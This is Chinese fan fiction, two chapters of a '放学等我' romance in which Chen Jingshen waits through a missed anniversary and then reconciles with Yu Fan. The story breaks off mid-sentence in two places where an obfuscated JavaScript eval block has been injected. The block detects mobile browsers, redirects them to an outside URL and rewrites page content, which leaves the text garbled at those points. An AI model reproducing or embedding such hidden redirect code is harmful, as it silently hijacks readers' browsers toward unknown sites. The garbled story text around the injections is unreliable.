《放学等我同人文》 3. 鸽子 傍晚六点半,夕阳把公寓阳台的瓷砖晒得发烫。 陈景深系着浅灰色围裙,正把最后一道清蒸鱼端上桌。汤汁清亮,葱姜码得整齐,是喻繁爱吃的口味。 桌上摆着两只碗,两双筷子,旁边放着喻繁爱喝的冰可乐,提前从冰箱拿出来回温,刚好是不冰牙的程度。 今天是他们约好的纪念日。 婚后第三个月,喻繁说好了下班直接回来,两人在家做饭,哪也不去。 陈景深解下围裙,靠在沙发上看时间。六点四十。 他没催,只是指尖无意识地摩挲着手机屏幕,上面是下午和喻繁的聊天记录: ?陈景深:我下班去买菜,你几点回? ?喻繁:七点前肯定到,别做太多,我想吃鱼。 ?陈景深:好。 七点整。 饭菜的温度一点点往下掉。 陈景深拿起手机,指尖悬在拨号键上,又放下。他知道喻繁不是故意迟到,只是这人脾气硬,又讲义气,别人一喊,他多半不会拒绝。 但今天是纪念日。 七点十分,手机终于响了。 来电显示:喻繁。 陈景深接起,声音平静,听不出情绪:“喂。” 电话那头很吵,背景里有酒吧的音乐、碰杯声,还有女人的说笑声。喻繁的声音压得很低,带着点不易察觉的烦躁:“……我今晚回不去了。” 陈景深沉默两秒:“有事?” “汪月姐她们喝酒,遇到点麻烦,叫我过来一趟。”喻繁顿了顿,语气含糊,“可能要晚点,你别等我了。” “晚点是几点?”陈景深问。 “不知道。”喻繁语气硬了点,“反正你先吃,别管我。” 没等陈景深说话,电话直接挂了。 忙音“嘟嘟”响了几声。 陈景深握着手机,站在餐桌旁,看着桌上渐渐冷掉的鱼和菜。 他没生气,也没发火。 只是心里闷得慌,像被什么东西轻轻压着,喘不上气。 他了解喻繁。 这人从小就这样,外冷内热,嘴硬心软。汪月是他在南城的第一个贵人,当年他浑身是伤、蹲在派出所门口抽烟时,是汪月递了根烟,问他要不要当模特,给了他一口饭吃,一份工作,一个落脚地。 对喻繁来说,汪月是姐姐,是恩人,是不能拒绝的人。 所以每次汪月和小姐妹喝酒,场子上有不怀好意的男人缠人、劝酒、动手动脚,她第一个电话一定打给喻繁。 而喻繁,不管在干嘛,几乎从来没拒绝过。 陈景深不是不懂。 只是……今天是纪念日。 他拿出手机,给喻繁发了条短信:“少喝点酒,你胃不好。结束了给我打电话,我去接你。” 发送成功。 对面没回。 陈景深没再发。 他把饭菜一点点端回厨房,放进保温箱。鱼没动,可乐还在桌上,冰珠化了一圈水。 他没吃饭,也没开灯。 就坐在沙发上,靠在窗边,看着楼下的车水马龙,灯火一点点亮起来。 —— 酒吧包厢里,烟雾缭绕,音乐震得地板都在颤。 汪月坐在沙发中间,化着浓妆,眼神微醺,笑着跟身边几个女人碰杯:“我说了吧,叫喻繁来,准能镇住场子。” 旁边一个女人笑着附和:“还是繁繁管用,往这一站,眼神一冷,那些杂七杂八的男人连靠近都不敢。” 喻繁坐在最外侧的单人沙发上,背靠着沙发,双腿敞开,指尖夹着一罐啤酒,没喝,只是指尖无意识地摩挲着罐身。 他穿着黑色连帽衫,帽子没戴,额前碎发遮着点眉眼,脸色冷淡,眼神漫不经心地扫过门口,像一尊不好惹的门神。 今天本来约好跟陈景深在家过纪念日。 下午快下班时,汪月的电话打过来,语气急哄哄的:“繁宝,救命,我们在‘夜色’这边喝酒,有几个男的跟着进来了,一直在缠人,劝酒,动手动脚,我们赶不走,你过来一趟呗?” 喻繁当时收拾着相机包,犹豫了两秒。 一边是陈景深,在家等他,做了饭,纪念日。 一边是汪月,是帮过他、在他最难的时候拉了他一把的人。 他没法拒绝。 只能给陈景深打了个电话,简单说了两句,挂了。 他知道陈景深会不高兴。 但他没办法。 “繁繁,喝一个?”汪月把一杯威士忌推到他面前,“谢了啊,每次都麻烦你。” 喻繁抬眼,眼神冷淡:“不喝。” “哎呀,喝一点嘛,”旁边一个女人劝,“今天多亏了你,不然我们都走不了。” 喻繁没动,语气没起伏:“我胃不好。” 这话是真的。 以前跟人打架、喝酒、饿肚子,落下的胃病,一喝多就疼,陈景深总盯着他,不让他多喝。 他下意识摸了摸胃的位置,指尖顿了顿。 陈景深…… 今天是纪念日。 他莫名有点烦躁。 “行吧,不喝就不喝,”汪月笑了笑,没勉强,“你帮我们看着点包,我去趟洗手间。” 喻繁“嗯”了一声。 汪月起身,带着两个小姐妹出去了。 包厢里剩下两个人。 一个陌生男人,是刚才跟着进来的,没敢太放肆,只敢远远坐着,时不时偷瞄这边。 包厢门没关严,留了条缝。 男人看汪月她们走了,只剩喻繁一个,胆子大了点,端着酒杯,走了过来,脸上带着不怀好意的笑:“帅哥,一个人?” 喻繁抬眼,眼神冷得像冰,没说话。 男人没在意,自顾自地在他旁边坐下,把酒递过来:“喝一杯?交个朋友。” 喻繁没接,指尖仍夹着那罐没开的啤酒,语气平,却带着威慑力:“滚。” 男人脸上的笑僵了僵,有点挂不住:“帅哥,给个面子嘛……” 喻繁没再废话,只是抬眼,眼神扫过去。 那眼神太沉,太冷,带着点常年跟人干架的戾气,像把没出鞘的刀,直直抵过来。 男人被他看得心里发毛,后背莫名冒冷汗,到了嘴边的话硬生生咽回去,讪讪地笑了笑:“……行吧,不打扰了。” 说完,赶紧起身,灰溜溜地走了。 包厢门被带上。 世界瞬间清净了。 喻繁靠回沙发上,闭了闭眼。 头疼。 一方面是吵的,一方面是烦的。 烦自己又爽约,烦陈景深肯定生气了,烦这种两边都放不下的感觉。 他拿出手机,屏幕亮了。 一条短信,来自陈景深。 只有一句话:“少喝点酒,你胃不好。结束了给我打电话,我去接你。” 没有质问,没有发脾气,没有指责。 就只是……关心。 喻繁盯着屏幕,看了很久。 指尖微微蜷起,心里莫名堵得慌。 他知道陈景深的脾气。 温柔,耐心,克制。 生气了也不会大吵大闹,只会闷着,不说话,眼神沉下去,让人更难受。 比跟他吵一架还难受。 喻繁抿了抿唇,指尖在屏幕上敲了半天,最后只回了一个字: “嗯。” 发送。 他把手机扔回沙发上,仰头靠在沙发背上,闭着眼,心里乱糟糟的。 —— 晚上十点。 酒吧的人散得差不多了。 汪月她们喝得尽兴,也喝得有点醉,三三两两搂着,笑着往外走。 “繁宝,谢啦!”汪月拍了拍喻繁的肩膀,笑得眉眼弯弯,“每次都靠你镇场子,太靠谱了!” 喻繁拎着她们的几个包,跟在后面,脸色依旧冷淡,没怎么说话:“没事。” “下次还叫你啊!” 喻繁“嗯”了一声。 出了酒吧,晚风一吹,酒意散了大半。 汪月她们各自打车走了。 只剩喻繁一个人站在路边,手里拎着空包。 街上人少了,夜风吹得他连帽衫的帽子微微晃。 他拿出手机,看了眼时间:十点十分。 他犹豫了一下,拨通了陈景深的电话。 响了两声,接了。 “喂。”陈景深的声音很静,听不出情绪。 “我结束了。”喻繁说,语气有点不自然,“……在‘夜色’门口。” “嗯。”陈景深应了一声,“等着,我过来。” 挂了电话。 喻繁握着手机,站在路边,夜风有点凉,他缩了缩脖子。 心里有点不是滋味。 他知道自己理亏。 纪念日,说好在家,结果临时鸽了,去帮别人镇场子,喝到这么晚。 换谁都会生气。 更别说陈景深。 他以为陈景深会生气,会冷嘲热讽,会说他心里没他。 但没有。 陈景深只是说:等着,我过来。 十分钟后,一辆黑色轿车停在他面前。 车窗降下,露出陈景深的脸。 夜色里,他眉眼温和,没什么戾气,只是眼神有点沉,看不出情绪。 “上车。”陈景深说。 喻繁拉开车门,坐进副驾。 车里很安静,只有淡淡的雪松味,是陈景深常用的洗衣液味道。 两人一路没说话。 气氛有点闷。 喻繁侧头看着窗外的夜景,路灯一盏盏往后退,心里乱糟糟的。 他想道歉,又拉不下面子。 他从小就这样,嘴硬,不肯服软,就算知道自己错了,也很难说出口“对不起”三个字。 陈景深专心开车,目视前方,侧脸线条干净利落,没看他,也没说话。 但喻繁能感觉到,他不高兴。 不是发火的那种不高兴,是闷在心里、不说话、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551600|204346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点点沉下去的那种。 比吵架还让人难受。 到了家。 陈景深停好车,先下了车,没等他,径直往楼道走。 喻繁跟在后面,看着他的背影,脚步顿了顿。 心里莫名有点慌。 他赶紧跟上。 进了家门,玄关的灯亮了。 陈景深换了鞋,没说话,径直走到客厅,打开灯。 桌上的饭菜还在,用保温箱盖着,没动过。 可乐还在旁边,已经完全回温了。 喻繁站在玄关,换着鞋,眼神不自觉地往餐桌那边瞟。 心里更不是滋味了。 陈景深把保温箱打开,把里面的菜一盘盘端出来,放到桌上。 鱼还完整,冒着点热气。 菜也没动过。 他没看喻繁,语气平静:“过来吃饭。” 喻繁没动,站在原地,指尖攥着衣角,难得有点无措。 “……我吃过了。”他低声说。 其实没吃什么,就喝了两口啤酒,胃里空落落的。 陈景深抬眼,看了他一眼。 那眼神很沉,带着点不易察觉的心疼,还有点生气,混合在一起,说不清。 “吃一点。”陈景深说,语气不容拒绝,“你胃不好,空着难受。” 喻繁抿了抿唇,没再拒绝,慢慢走过去,在餐桌旁坐下。 陈景深给他盛了碗饭,把鱼夹了一大块,放到他碗里。 没说话。 喻繁拿着筷子,扒拉着米饭,没胃口,却还是一口口吃着。 气氛安静得能听见彼此的呼吸声。 吃了几口,喻繁实在忍不住,放下筷子,抬头看他。 陈景深也正好抬眼看他。 四目相对。 喻繁的眼神有点不自然,耳尖微微泛红,别扭了半天,才低声挤出几个字: “……对不起。” 声音很小,带着点不易察觉的局促。 这对他来说,已经很难得了。 陈景深看着他。 看着他耳尖泛红、眼神别扭、明明愧疚却不肯多说的样子。 心里那点闷着的火气,瞬间就散了大半。 剩下的,全是心疼。 心疼他又去那种鱼龙混杂的地方,心疼他明明不喜欢应酬却硬着头皮上,心疼他总把别人的事看得比自己重,心疼他嘴硬心软、永远不肯好好说一句软话。 陈景深放下筷子,身体微微前倾,伸手,指尖轻轻碰了碰他的脸颊。 动作很轻,带着温度。 喻繁下意识想躲,却没躲开,僵硬了一下,没再动。 “我不是生气你帮汪月。”陈景深的声音很轻,温和,带着点无奈,“我生气你不爱惜自己。” 喻繁抬眼,看向他。 “那种地方人杂,”陈景深眼神沉了沉,语气里带着克制的后怕,“喝酒、抽烟、乱哄哄的,你胃不好,还总往那跑。万一出事怎么办?” 万一被人缠上,万一被人找麻烦,万一喝多了没人看着,万一……受伤了怎么办? 他不敢想。 喻繁看着他眼里真切的心疼和担忧,心里猛地一紧,像被什么东西轻轻撞了一下。 他别开眼,指尖攥得很紧,声音更低:“……我没事。” “你总是这么说。”陈景深的指尖滑到他的耳尖,轻轻捏了捏,语气无奈,“每次都把自己搞得一身麻烦,嘴上说没事,转头就偷偷疼。” 喻繁耳尖更红了,没说话,默认了。 确实是这样。 以前跟人打架,一身伤,从不喊疼;喝酒喝到胃疼,也不说;什么事都闷在心里,不肯让人担心。 但陈景深不一样。 陈景深总能看穿他的逞强,总能看到他藏在坚硬外壳下的脆弱,总能在他嘴硬的时候,温柔地包容他。 “纪念日可以补。”陈景深的声音软下来,带着哄的意味,“我只是不想你有事。” 喻繁沉默了很久。 久到空气都安静了。 他才慢慢转过头,重新看向陈景深。 眼神里带着点别扭,点愧疚,还有点不易察觉的依赖。 “……下次不会了。”他低声说。 语气很轻,却很认真。 陈景深看着他,眼底的心疼渐渐化开,取而代之的是温柔的笑意。 他伸手,把喻繁轻轻揽进怀里。 动作很轻,带着小心翼翼的珍视。 喻繁身体僵了一下,随即慢慢放松下来,靠在他怀里,脸颊贴着他的胸口,能清晰地听到他沉稳的心跳声。 很安心。 很踏实。 “嗯。”陈景深轻轻应了一声,手臂收紧,把他抱得更紧了点,“我信你。” 晚风从阳台窗户吹进来,带着夜晚的清凉。 客厅的灯光暖黄,落在两人身上,温柔得不像话。 桌上的饭菜还冒着热气,纪念日的遗憾,好像也在这一刻,被温柔抚平了。 4. 惩罚 夜里卧室只留了盏暖黄小夜灯,光线柔柔和和落在床沿。 喻繁洗完澡出来,头发还湿着,发梢滴着水,身上裹着宽松的家居服,整个人没了在外头那副冷硬疏离的模样,透着点懒懒散散的软。 陈景深坐在床边,手里拿着干发巾,抬眼朝他招手:“过来。” 喻繁脚步顿了一下,耳尖微微有点热。 他太熟陈景深了。 这人看着温温柔柔,说话永远平平静静,不吵不闹,可骨子里是那种记仇、腹黑、什么都不说但秋后算账的类型。 今天纪念日被他放鸽子,陈景深一句重话都没说,连脸色都没垮,只是安静地等他、接他、给他留饭。 喻繁心里慌得很。 ——越是这样,越说明惩罚在后面。 喻繁磨磨蹭蹭走过去,故意装作不耐烦:“干嘛。” 陈景深没回答,只是伸手,轻轻拉了他一把。 力道不重,却带着不容拒绝的稳。 喻繁顺势坐在床边,还没坐稳,手腕就被陈景深轻轻扣住。 指尖微凉,力道不紧,但他挣不开。 喻繁瞬间警惕起来,眉一皱:“陈景深,你干什么?” 陈景深抬眸,眼神很静,像夜里浸了月光的湖水,一点波澜都没有,可就是让人莫名心虚。 他开口,语气平平:“今天,纪念日。” “……”喻繁喉结动了动,别开眼,“我知道。” “你放我鸽子。”陈景深说。 语气不是质问,也不是生气,就是在陈述事实。 可偏偏这样最让喻繁受不了。 他耳根发烫,嘴硬道:“我不是说了对不起吗。” “嗯。”陈景深点头,“说了。” “那你还想怎样。”喻繁语气硬了点,眼神却不自觉飘向别处,“我又不是故意的,汪月姐那边……” “我知道。”陈景深打断他,声音依旧很轻,“你不是故意的。你讲义气,心软,别人有事你不会拒绝。” 他顿了顿,目光落在喻繁泛红的耳尖上。 “但,”陈景深缓缓道,“放我鸽子,就是放我鸽子。” 喻繁被他说得哑口无言。 他最吃陈景深这套——不吵、不骂、不发火,句句都戳在他良心上。 喻繁抿了抿唇,别扭道:“……那你要怎样。” 陈景深看着他,眼底掠过一丝极淡的笑意,快得几乎看不见。 “要惩罚。”他说。 喻繁心里咯噔一下。 果然。 他就知道陈景深不会这么轻易算了。 喻繁强装镇定,挑眉:“惩罚?你还会惩罚人?” 陈景深没接他的挑衅,只是微微偏头,眼神平静无波:“嗯。” 喻繁心跳有点乱,嘴上继续硬:“那……你想怎么惩罚?” 他以为最多就是冷战几天、不让他抱、不让他蹭,或者逼他写检讨——这种陈景深做得出来。 可陈景深沉默了两秒,然后轻轻开口,语气平淡又认真: “今天,你欠我一个纪念日。” 喻繁:“……” “所以,”陈景深语速很慢,字字清晰,“惩罚是——你今天,全部听我的。我说什么,你做什么。不准顶嘴,不准闹脾气,不准拒绝。” 喻繁当场愣住。 他预想过一万种惩罚,唯独没预想过这种。 “……”喻繁喉结滚了滚,脸有点热,“你……你耍流氓?” 陈景深眼神无辜:“我没有。” “你就是。”喻繁别开脸,耳尖红得快要滴血,“陈景深,你别得寸进尺啊。” 陈景深看着他,眼底终于漾开一点浅浅的笑意,语气依旧温和:“你不答应?” 喻繁被他看得心头发虚,嘴上硬撑:“我凭什么听你的?” “因为,”陈景深一字一顿,“今天,是你错了。” 一句话,直接把喻繁堵死。 他错了。 确实是他错了。 纪念日约好在家,他临时跑了,去酒吧帮人镇场子,到半夜才回来,让陈景深一个人等了整整四个小时,饭菜热了又凉,凉了又热。 换谁,都该生气。 换谁,都该要个说法。 喻繁抿紧唇,指尖无意识抠着床单,沉默了很久。 久到小夜灯的光都好像安静下来。 最后,他极其别扭地从喉咙里挤出一个字: “……行。” 声音很小,带着点不甘心,又带着点无可奈何的软。 陈景深眼底的笑意加深了一点,很淡,却很真。 他轻轻“嗯”了一声,像早就知道他会答应。 “过来一点。”陈景深说。 喻繁磨磨蹭蹭往他那边挪了挪,坐得离他更近了些,浑身紧绷,像只被按住的炸毛猫。 陈景深伸手,指尖轻轻碰了碰他湿哒哒的发梢。 “低头。”他说。 喻繁皱眉:“干嘛?” “吹头发。”陈景深语气自然,“你头发湿着睡觉,会头疼。” 喻繁:“……” 他以为是什么不得了的惩罚,结果第一下居然是吹头发? 喻繁有点懵,又有点说不清的别扭,低声嘟囔:“……我自己来。” “不行。”陈景深平静拒绝,“惩罚期间,听我的。” 喻繁被他堵得没话说,只能不情不愿地低下头。 柔软的发丝垂下来,遮住他泛红的耳根。 陈景深拿起吹风机,调了温风,指尖穿过他的黑发,轻轻抚过头皮,动作很轻、很稳、很耐心。 热风缓缓吹过,带着陈景深身上淡淡的薄荷味,让人发困。 喻繁本来紧绷的身体,不知不觉慢慢放松下来。 他其实很吃陈景深这套——温柔、耐心、细致,把他当小孩一样照顾。 以前他浑身是伤、没人管、没人疼,什么都自己扛,早就习惯了独自面对任何人或事。 可陈景深不一样。 陈景深会记得他胃不好,不让他多喝酒;会记得他怕黑,夜里留一盏小灯;会记得他不爱吃葱姜,做饭永远把葱姜码得整整齐齐,只提味,不让他吃到;会在他放鸽子、做错事的时候,不吵不闹,只是安静地等他,然后再用最温柔的方式“惩罚”他。 喻繁心里又软又酸,有点愧疚,又有点说不清的依赖。 他嘴上不说,却悄悄往陈景深那边靠了靠,脑袋微微蹭到他的膝盖,像只悄悄服软的猫。 陈景深动作顿了一下,眼底掠过一丝极温柔的笑意,手上动作更轻了。 “今天,”他一边吹头发,一边轻声开口,语气很淡,却带着认真,“你让我等的时候,我没生气。” 喻繁耳朵动了动,没说话。 “我只是,”陈景深声音轻了点,“有点难过。” 喻繁心口猛地一紧。 比骂他一顿还难受。 他喉结动了动,声音很低,带着点不易察觉的哑:“……陈景深。。。我…” “嗯。”陈景深应了一声,“我知道。” 吹风机嗡嗡的声音里,气氛安静又软。虽然喻繁明明什么都没有说出口 吹完头发,陈景深放下吹风机,指尖轻轻顺了顺他柔软的发尾,捋直了小小的分叉。 “好了。”他说。 喻繁慢慢抬起头,眼底有点湿,眼神别扭,耳尖通红,像被揉过的小兽。 他别开眼,不看陈景深,低声嘟囔:“……知道了。” 陈景深看着他,眼神温柔,带着点浅浅的笑意:“现在,第二条。” 喻繁:“……” 他怎么还来? 喻繁有点后悔答应得这么干脆了。 他警惕地看着陈景深:“又干嘛?” 陈景深语气平静:“过来,躺好。” 喻繁皱眉:“躺哪儿?” “床上。”陈景深说。 喻繁脸一热:“你……你想干嘛?” 陈景深看着他,眼神无辜又认真:“陪我补过纪念日。” 喻繁:“……” 他总觉得陈景深这话里藏着点坏。 可他答应了,不能反悔。 喻繁磨磨蹭蹭爬到床上,规规矩矩躺好,浑身僵硬,像个被押上来的犯人。 陈景深随后也躺了过来,没靠近他,只是侧身躺着,手肘撑着脑袋,安静地看着他。 小夜灯暖光落在喻繁脸上,把他的轮廓描得很软。 眼尾那颗小小的痣,在光下格外明显。 陈景深看了他很久,看得喻繁浑身不自在,眼神乱飘,就是不敢看他。 “你看我干什么。”喻繁别扭道。 “看你。”陈景深语气自然,“好久没好好看你了。” 喻繁耳根更热,嘴硬道:“……胡说,天天看。” “不一样。”陈景深说,“今天,是纪念日。” 他顿了顿,声音放得更轻: “今天,我差点以为,你又要像六年前那样,突然不见了。” 喻繁的心猛地一沉。 六年前。 那是他们两个人都碰不得的刺。 六年前,他一声不吭走了,删掉所有联系方式,拉黑他,消失得干干净净,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551601|204346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈景深找了他整整六年,等了他整整六年。 那六年,陈景深一个人守着空荡荡的出租屋,守着他们的回忆,守着一句没兑现的“放学等我”。 喻繁喉结滚了滚,心口像被什么东西轻轻扎了一下,有点麻,又有点酸。 他慢慢转过头,看向陈景深。 暖光下,陈景深的眼神很软,带着点不易察觉的不安和脆弱——那是只有在他面前才会露出来的、最真实的样子。 喻繁的声音很低,带着点哑:“我不会再走了。” 陈景深看着他,眼底漾开一点浅浅的、安心的笑意。 “嗯。”他轻轻应了一声,“我知道。” 他伸出手,指尖轻轻碰了碰喻繁的脸颊,动作很轻、很温柔,像对待珍宝。 喻繁下意识想躲,却没躲开,僵硬了一下,最后还是没动。 陈景深的指尖微凉,触碰到他皮肤的时候,带起一阵细微的战栗。 “喻繁。”陈景深轻声叫他的名字。 语气很软,带着点缱绻。 喻繁耳尖通红,低声应:“……干嘛。” “以后,”陈景深看着他,眼神认真,“以后纪念日,不准再放我鸽子。” 喻繁抿了抿唇,别扭了半天,最后轻轻“嗯”了一声。 “知道了。” 陈景深眼底的笑意加深,指尖慢慢滑到他的耳尖,轻轻捏了捏。 “再说一遍。”他说。 喻繁脸更热,有点羞恼:“……陈景深,你别得寸进尺。” “再说一遍。”陈景深语气平静,却带着不容拒绝的坚持,"如果我是女生,你就愿意再说一遍了吧。” 喻繁被他堵得没话说:"陈景深!"可由于自己实在理亏,又恰巧对上陈景深漆黑的眸子,只能不情不愿地又说了一遍: “……知道了。以后不放你鸽子了。” 陈景深看着他泛红的耳根,看着他别扭又乖乖听话的样子,眼底温柔得快要溢出来。 他慢慢靠近,轻轻吻了吻喻繁的额头。 一个很轻、很软、带着温度的吻。 喻繁浑身一僵,瞬间红透了,从耳尖到脖子根都泛着热,眼神躲闪,心跳快得像要撞破胸口。 “陈、陈景深……”他结巴了,“你……” “这是奖励。”陈景深轻声说,语气里藏着一点笑意。 喻繁:“……” 奖励个鬼。 明明就是趁机耍流氓。 可他偏偏,一点都不讨厌。 甚至……有点喜欢。 喻繁别开脸,不敢看他,耳根红得快要滴血,心跳乱得一塌糊涂。 陈景深看着他害羞别扭的样子,眼底笑意更深,没再逗他,只是轻轻往他身边挪了挪,伸手,小心翼翼地把他揽进怀里。 动作很轻、很温柔,带着小心翼翼的珍视,像抱着失而复得的宝贝。 喻繁身体僵了一下,随即慢慢放松下来,犹豫了几秒,最后还是悄悄往他怀里靠了靠,脸颊贴在他的胸口,能清晰地听到他沉稳有力的心跳声。 很安心。 很踏实。 是他这辈子,从来没有过的安稳。 “对不起。”喻繁的声音闷闷的,从他胸口传来,带着点鼻音,“今天,让你一个人等那么久。” “没关系。”陈景深轻轻拍着他的背,声音温柔,“你回来了,就好。” “以后,”喻繁顿了顿,声音很低,却很认真,“我再也不会让你一个人了。” 陈景深的动作顿了一下,手臂收紧,把他抱得更紧了点,声音轻得像叹息: “嗯。我信你。” 窗外夜色渐深,晚风轻轻吹过阳台,带着夜晚的清凉。 卧室里暖光融融,怀里温度正好,空气中弥漫着淡淡的雪松味,安静又温柔。 桌上没吃完的饭菜还留着余温,今天的遗憾,好像在这一刻,被完完全全抚平了。 喻繁靠在陈景深怀里,听着他平稳的心跳,心里软得一塌糊涂。 他想,其实被陈景深这样“惩罚”一下,好像也没那么坏。 甚至……有点甜。 他悄悄往陈景深怀里又钻了钻,闭上眼睛,嘴角忍不住微微上扬,露出一个连自己都没察觉的、浅浅的笑。 陈景深低头,看着怀里乖乖蹭他的人,眼底满是化不开的温柔和宠溺。 他知道,他的喻繁,嘴硬、别扭、爱逞强,可骨子里,永远是那个需要他疼、需要他哄、需要他放在心尖上好好护着的小孩。 —— 纪念日可以补,错过的时间可以慢慢弥补,只要身边的人是他,就够了。